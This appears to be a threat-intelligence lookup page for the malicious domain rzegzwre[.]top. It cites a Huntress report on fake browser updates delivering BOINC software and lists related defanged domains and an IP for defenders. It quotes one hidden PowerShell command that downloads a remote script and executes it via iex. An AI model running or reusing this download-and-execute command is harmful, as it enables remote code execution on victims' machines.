rzegzwre[.]topDomain
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Fake Browser Updates Lead to BOINC Volunteer Computing Software“"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iwr -usebasicparsing hxxp://rzegzwre[.]top/f23.svg |iex"”
Indicators reported together
named in the same reports- ga1yo3wu78v48hh[.]topin 1 report
- rosettahome[.]topin 1 report
- 104.238.34[.]204in 1 report
- rosettahome[.]cnin 1 report
- hxxp://rzegzwre[.]top/f23.svgin 1 report
Copy these 5 indicators · defanged
Thanks — we review every report.